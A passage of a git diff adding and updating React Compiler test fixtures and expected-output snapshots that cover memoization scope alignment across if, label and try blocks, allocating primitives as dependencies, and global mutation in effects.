+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-if.expect.md
@@ -0,0 +1,87 @@
+
+## Input
+
+```javascript
+function useFoo({cond}) {
+  let items: any = {};
+  b0: {
+    if (cond) {
+      // Mutable range of `items` begins here, but its reactive scope block
+      // should be aligned to above the if-branch
+      items = [];
+    } else {
+      break b0;
+    }
+    items.push(2);
+  }
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: true}],
+  sequentialRenders: [
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function useFoo(t0) {
+  const $ = _c(3);
+  const { cond } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = {};
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  let items = t1;
+  if ($[1] !== cond) {
+    bb0: {
+      if (cond) {
+        items = [];
+      } else {
+        break bb0;
+      }
+
+      items.push(2);
+    }
+    $[1] = cond;
+    $[2] = items;
+  } else {
+    items = $[2];
+  }
+
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: true }],
+  sequentialRenders: [
+    { cond: true },
+    { cond: true },
+    { cond: false },
+    { cond: false },
+    { cond: true },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [2]
+[2]
+{}
+{}
+[2]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-if.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-if.ts
new file mode 100644
index 000000000000..1ff9b99a2ec4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-if.ts
@@ -0,0 +1,26 @@
+function useFoo({cond}) {
+  let items: any = {};
+  b0: {
+    if (cond) {
+      // Mutable range of `items` begins here, but its reactive scope block
+      // should be aligned to above the if-branch
+      items = [];
+    } else {
+      break b0;
+    }
+    items.push(2);
+  }
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: true}],
+  sequentialRenders: [
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-label.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-label.expect.md
new file mode 100644
index 000000000000..dc39126da450
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-label.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+import {arrayPush} from 'shared-runtime';
+
+function useFoo({cond, value}) {
+  let items;
+  label: {
+    items = [];
+    // Mutable range of `items` begins here, but its reactive scope block
+    // should be aligned to above the label-block
+    if (cond) break label;
+    arrayPush(items, value);
+  }
+  arrayPush(items, value);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: true, value: 2}],
+  sequentialRenders: [
+    {cond: true, value: 2},
+    {cond: true, value: 2},
+    {cond: true, value: 3},
+    {cond: false, value: 3},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { arrayPush } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(3);
+  const { cond, value } = t0;
+  let items;
+  if ($[0] !== cond || $[1] !== value) {
+    bb0: {
+      items = [];
+
+      if (cond) {
+        break bb0;
+      }
+      arrayPush(items, value);
+    }
+
+    arrayPush(items, value);
+    $[0] = cond;
+    $[1] = value;
+    $[2] = items;
+  } else {
+    items = $[2];
+  }
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: true, value: 2 }],
+  sequentialRenders: [
+    { cond: true, value: 2 },
+    { cond: true, value: 2 },
+    { cond: true, value: 3 },
+    { cond: false, value: 3 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [2]
+[2]
+[3]
+[3,3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-label.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-label.ts
new file mode 100644
index 000000000000..c1f93f124a35
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-label.ts
@@ -0,0 +1,25 @@
+import {arrayPush} from 'shared-runtime';
+
+function useFoo({cond, value}) {
+  let items;
+  label: {
+    items = [];
+    // Mutable range of `items` begins here, but its reactive scope block
+    // should be aligned to above the label-block
+    if (cond) break label;
+    arrayPush(items, value);
+  }
+  arrayPush(items, value);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: true, value: 2}],
+  sequentialRenders: [
+    {cond: true, value: 2},
+    {cond: true, value: 2},
+    {cond: true, value: 3},
+    {cond: false, value: 3},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-try.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-try.expect.md
new file mode 100644
index 000000000000..1bc6b9b51ebf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-try.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+import {arrayPush, mutate} from 'shared-runtime';
+
+function useFoo({value}) {
+  let items = null;
+  try {
+    // Mutable range of `items` begins here, but its reactive scope block
+    // should be aligned to above the try-block
+    items = [];
+    arrayPush(items, value);
+  } catch {
+    // ignore
+  }
+  mutate(items);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{value: 2}],
+  sequentialRenders: [{value: 2}, {value: 2}, {value: 3}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { arrayPush, mutate } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(2);
+  const { value } = t0;
+  let items;
+  if ($[0] !== value) {
+    try {
+      items = [];
+      arrayPush(items, value);
+    } catch {}
+
+    mutate(items);
+    $[0] = value;
+    $[1] = items;
+  } else {
+    items = $[1];
+  }
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ value: 2 }],
+  sequentialRenders: [{ value: 2 }, { value: 2 }, { value: 3 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [2,"joe"]
+[2,"joe"]
+[3,"joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-try.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-try.ts
new file mode 100644
index 000000000000..ca992992c5e1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-try.ts
@@ -0,0 +1,21 @@
+import {arrayPush, mutate} from 'shared-runtime';
+
+function useFoo({value}) {
+  let items = null;
+  try {
+    // Mutable range of `items` begins here, but its reactive scope block
+    // should be aligned to above the try-block
+    items = [];
+    arrayPush(items, value);
+  } catch {
+    // ignore
+  }
+  mutate(items);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{value: 2}],
+  sequentialRenders: [{value: 2}, {value: 2}, {value: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-trycatch-nested-overlapping-range.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-trycatch-nested-overlapping-range.expect.md
new file mode 100644
index 000000000000..0179baab6f68
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-trycatch-nested-overlapping-range.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+import {CONST_TRUE, makeObject_Primitives} from 'shared-runtime';
+
+function Foo() {
+  try {
+    let thing = null;
+    if (cond) {
+      thing = makeObject_Primitives();
+    }
+    if (CONST_TRUE) {
+      mutate(thing);
+    }
+    return thing;
+  } catch {}
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { CONST_TRUE, makeObject_Primitives } from "shared-runtime";
+
+function Foo() {
+  const $ = _c(1);
+  try {
+    let thing;
+    if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+      thing = null;
+      if (cond) {
+        thing = makeObject_Primitives();
+      }
+
+      if (CONST_TRUE) {
+        mutate(thing);
+      }
+      $[0] = thing;
+    } else {
+      thing = $[0];
+    }
+
+    return thing;
+  } catch {}
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-trycatch-nested-overlapping-range.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-trycatch-nested-overlapping-range.ts
new file mode 100644
index 000000000000..9ccdc81579b1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-trycatch-nested-overlapping-range.ts
@@ -0,0 +1,19 @@
+import {CONST_TRUE, makeObject_Primitives} from 'shared-runtime';
+
+function Foo() {
+  try {
+    let thing = null;
+    if (cond) {
+      thing = makeObject_Primitives();
+    }
+    if (CONST_TRUE) {
+      mutate(thing);
+    }
+    return thing;
+  } catch {}
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.expect.md
index 0d1a54af35f4..aff7a2e7b999 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.expect.md
@@ -2,9 +2,7 @@
 ## Input
 
 ```javascript
-// @enableReactiveScopesInHIR:false
-
-import { Stringify, identity, makeArray, mutate } from "shared-runtime";
+import {Stringify, identity, makeArray, mutate} from 'shared-runtime';
 
 /**
  * Here, identity('foo') is an immutable allocating instruction.
@@ -16,12 +14,12 @@ import { Stringify, identity, makeArray, mutate } from "shared-runtime";
  * (e.g. `cond1 ? <>: null`). The HIR version of alignScopesToBlocks
  * handles this correctly.
  */
-function Foo({ cond1, cond2 }) {
-  const arr = makeArray<any>({ a: 2 }, 2, []);
+function Foo({cond1, cond2}) {
+  const arr = makeArray<any>({a: 2}, 2, []);
 
   return cond1 ? (
     <>
-      <div>{identity("foo")}</div>
+      <div>{identity('foo')}</div>
       <Stringify value={cond2 ? arr.map(mutate) : null} />
     </>
   ) : null;
@@ -29,7 +27,7 @@ function Foo({ cond1, cond2 }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ cond1: true, cond2: true }],
+  params: [{cond1: true, cond2: true}],
 };
 
 ```
@@ -37,8 +35,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-
+import { c as _c } from "react/compiler-runtime";
 import { Stringify, identity, makeArray, mutate } from "shared-runtime";
 
 /**
@@ -52,11 +49,11 @@ import { Stringify, identity, makeArray, mutate } from "shared-runtime";
  * handles this correctly.
  */
 function Foo(t0) {
-  const $ = _c(4);
+  const $ = _c(3);
   const { cond1, cond2 } = t0;
-  const arr = makeArray({ a: 2 }, 2, []);
   let t1;
-  if ($[0] !== cond1 || $[1] !== cond2 || $[2] !== arr) {
+  if ($[0] !== cond1 || $[1] !== cond2) {
+    const arr = makeArray({ a: 2 }, 2, []);
     t1 = cond1 ? (
       <>
         <div>{identity("foo")}</div>
@@ -65,10 +62,9 @@ function Foo(t0) {
     ) : null;
     $[0] = cond1;
     $[1] = cond2;
-    $[2] = arr;
-    $[3] = t1;
+    $[2] = t1;
   } else {
-    t1 = $[3];
+    t1 = $[2];
   }
   return t1;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.tsx
index 7336ecf2ee14..b5e2fa0c19ec 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.tsx
@@ -1,6 +1,4 @@
-// @enableReactiveScopesInHIR:false
-
-import { Stringify, identity, makeArray, mutate } from "shared-runtime";
+import {Stringify, identity, makeArray, mutate} from 'shared-runtime';
 
 /**
  * Here, identity('foo') is an immutable allocating instruction.
@@ -12,12 +10,12 @@ import { Stringify, identity, makeArray, mutate } from "shared-runtime";
  * (e.g. `cond1 ? <>: null`). The HIR version of alignScopesToBlocks
  * handles this correctly.
  */
-function Foo({ cond1, cond2 }) {
-  const arr = makeArray<any>({ a: 2 }, 2, []);
+function Foo({cond1, cond2}) {
+  const arr = makeArray<any>({a: 2}, 2, []);
 
   return cond1 ? (
     <>
-      <div>{identity("foo")}</div>
+      <div>{identity('foo')}</div>
       <Stringify value={cond2 ? arr.map(mutate) : null} />
     </>
   ) : null;
@@ -25,5 +23,5 @@ function Foo({ cond1, cond2 }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ cond1: true, cond2: true }],
+  params: [{cond1: true, cond2: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.expect.md
index f7bf45db86b9..70a0b8293d85 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.expect.md
@@ -7,11 +7,11 @@
  * The only scoped value we currently infer in this program is the
  * PropertyLoad `data?.toString`.
  */
-import { useFragment } from "shared-runtime";
+import {useFragment} from 'shared-runtime';
 
 function Foo() {
   const data = useFragment();
-  return [data?.toString() || ""];
+  return [data?.toString() || ''];
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.ts
index 4f66e3001354..1e278fbf880c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.ts
@@ -3,11 +3,11 @@
  * The only scoped value we currently infer in this program is the
  * PropertyLoad `data?.toString`.
  */
-import { useFragment } from "shared-runtime";
+import {useFragment} from 'shared-runtime';
 
 function Foo() {
   const data = useFragment();
-  return [data?.toString() || ""];
+  return [data?.toString() || ''];
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.expect.md
index e15820b05334..6702b26e92db 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.expect.md
@@ -6,7 +6,7 @@
 // that Forget should memoize it.
 // Correctness:
 
-import { identity, mutate, setProperty } from "shared-runtime";
+import {identity, mutate, setProperty} from 'shared-runtime';
 
 //   - y depends on either bar(props.b) or bar(props.b) + 1
 function AllocatingPrimitiveAsDepNested(props) {
@@ -19,16 +19,16 @@ function AllocatingPrimitiveAsDepNested(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: AllocatingPrimitiveAsDepNested,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   sequentialRenders: [
     // change b
-    { a: 1, b: 3 },
+    {a: 1, b: 3},
     // change b
-    { a: 1, b: 4 },
+    {a: 1, b: 4},
     // change a
-    { a: 2, b: 4 },
+    {a: 2, b: 4},
     // change a
-    { a: 3, b: 4 },
+    {a: 3, b: 4},
   ],
 };
 
@@ -47,7 +47,7 @@ import { identity, mutate, setProperty } from "shared-runtime";
 function AllocatingPrimitiveAsDepNested(props) {
   const $ = _c(5);
   let t0;
-  if ($[0] !== props.b || $[1] !== props.a) {
+  if ($[0] !== props.a || $[1] !== props.b) {
     const x = {};
     mutate(x);
     const t1 = identity(props.b) + 1;
@@ -62,8 +62,8 @@ function AllocatingPrimitiveAsDepNested(props) {
     const y = t2;
     setProperty(x, props.a);
     t0 = [x, y];
-    $[0] = props.b;
-    $[1] = props.a;
+    $[0] = props.a;
+    $[1] = props.b;
     $[2] = t0;
   } else {
     t0 = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.js
index 896680bb2568..908fb317d032 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.js
@@ -2,7 +2,7 @@
 // that Forget should memoize it.
 // Correctness:
 
-import { identity, mutate, setProperty } from "shared-runtime";
+import {identity, mutate, setProperty} from 'shared-runtime';
 
 //   - y depends on either bar(props.b) or bar(props.b) + 1
 function AllocatingPrimitiveAsDepNested(props) {
@@ -15,15 +15,15 @@ function AllocatingPrimitiveAsDepNested(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: AllocatingPrimitiveAsDepNested,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   sequentialRenders: [
     // change b
-    { a: 1, b: 3 },
+    {a: 1, b: 3},
     // change b
-    { a: 1, b: 4 },
+    {a: 1, b: 4},
     // change a
-    { a: 2, b: 4 },
+    {a: 2, b: 4},
     // change a
-    { a: 3, b: 4 },
+    {a: 3, b: 4},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.expect.md
index 3f1f7b3222a3..293d9964cc44 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 // bar(props.b) is an allocating expression that produces a primitive, which means
 // that Forget should memoize it.
 // Correctness:
@@ -16,7 +17,8 @@ function AllocatingPrimitiveAsDep(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // bar(props.b) is an allocating expression that produces a primitive, which means
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
+// bar(props.b) is an allocating expression that produces a primitive, which means
 // that Forget should memoize it.
 // Correctness:
 //   - y depends on either bar(props.b) or bar(props.b) + 1
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.js
index c7ef86f7c222..3c0768e7f511 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.js
@@ -1,3 +1,4 @@
+// @enablePreserveExistingMemoizationGuarantees:false
 // bar(props.b) is an allocating expression that produces a primitive, which means
 // that Forget should memoize it.
 // Correctness:
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-ref-accessing-function-to-object-property-if-not-mutated.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-ref-accessing-function-to-object-property-if-not-mutated.expect.md
new file mode 100644
index 000000000000..b5fc0a9dc756
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-ref-accessing-function-to-object-property-if-not-mutated.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+import {useRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const ref = useRef(props.value);
+  const object = {};
+  object.foo = () => ref.current;
+  return <Stringify object={object} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useRef } from "react";
+import { Stringify } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(1);
+  const ref = useRef(props.value);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const object = {};
+    object.foo = () => ref.current;
+    t0 = <Stringify object={object} shouldInvokeFns={true} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"object":{"foo":{"kind":"Function","result":42}},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-ref-accessing-function-to-object-property-if-not-mutated.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-ref-accessing-function-to-object-property-if-not-mutated.js
new file mode 100644
index 000000000000..2c84772dca06
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-ref-accessing-function-to-object-property-if-not-mutated.js
@@ -0,0 +1,14 @@
+import {useRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const ref = useRef(props.value);
+  const object = {};
+  object.foo = () => ref.current;
+  return <Stringify object={object} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-to-global-in-function-spread-as-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-to-global-in-function-spread-as-jsx.expect.md
new file mode 100644
index 000000000000..90ffebd69583
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-to-global-in-function-spread-as-jsx.expect.md
@@ -0,0 +1,39 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel:false
+function Component() {
+  const foo = () => {
+    someGlobal = true;
+  };
+  // spreading a function is weird, but it doesn't call the function so this is allowed
+  return <div {...foo} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel:false
+function Component() {
+  const $ = _c(1);
+  const foo = _temp;
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div {...foo} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _temp() {
+  someGlobal = true;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-to-global-in-function-spread-as-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-to-global-in-function-spread-as-jsx.js
new file mode 100644
index 000000000000..2ed0c70a7f96
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-assigning-to-global-in-function-spread-as-jsx.js
@@ -0,0 +1,8 @@
+// @enableNewMutationAliasingModel:false
+function Component() {
+  const foo = () => {
+    someGlobal = true;
+  };
+  // spreading a function is weird, but it doesn't call the function so this is allowed
+  return <div {...foo} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.expect.md
index 7a7535560946..9b5839987149 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback, useEffect, useState } from "react";
+import {useCallback, useEffect, useState} from 'react';
 
 let someGlobal = {};
 
@@ -40,57 +40,52 @@ import { useCallback, useEffect, useState } from "react";
 let someGlobal = {};
 
 function Component() {
-  const $ = _c(7);
+  const $ = _c(6);
   const [state, setState] = useState(someGlobal);
+
+  const setGlobal = _temp;
   let t0;
+  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = () => {
-      someGlobal.value = true;
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const setGlobal = t0;
-  let t1;
-  let t2;
-  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = () => {
       setGlobal();
     };
-    t2 = [];
+    t1 = [];
+    $[0] = t0;
     $[1] = t1;
-    $[2] = t2;
   } else {
+    t0 = $[0];
     t1 = $[1];
-    t2 = $[2];
   }
-  useEffect(t1, t2);
+  useEffect(t0, t1);
+  let t2;
   let t3;
-  let t4;
-  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
-    t3 = () => {
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = () => {
       setState(someGlobal.value);
     };
-    t4 = [someGlobal];
+    t3 = [someGlobal];
+    $[2] = t2;
     $[3] = t3;
-    $[4] = t4;
   } else {
+    t2 = $[2];
     t3 = $[3];
-    t4 = $[4];
   }
-  useEffect(t3, t4);
+  useEffect(t2, t3);
 
-  const t5 = String(state);
-  let t6;
-  if ($[5] !== t5) {
-    t6 = <div>{t5}</div>;
+  const t4 = String(state);
+  let t5;
+  if ($[4] !== t4) {
+    t5 = <div>{t4}</div>;
+    $[4] = t4;
     $[5] = t5;
-    $[6] = t6;
   } else {
-    t6 = $[6];
+    t5 = $[5];
   }
-  return t6;
+  return t5;
+}
+function _temp() {
+  someGlobal.value = true;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.js
index 1c35bb9421e1..533adcadb2c3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect-usecallback.js
@@ -1,5 +1,5 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useCallback, useEffect, useState } from "react";
+import {useCallback, useEffect, useState} from 'react';
 
 let someGlobal = {};
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-global-mutation-in-effect-indirect.expect.md
index 43503170c20f..4a9dfb220ffd 100644
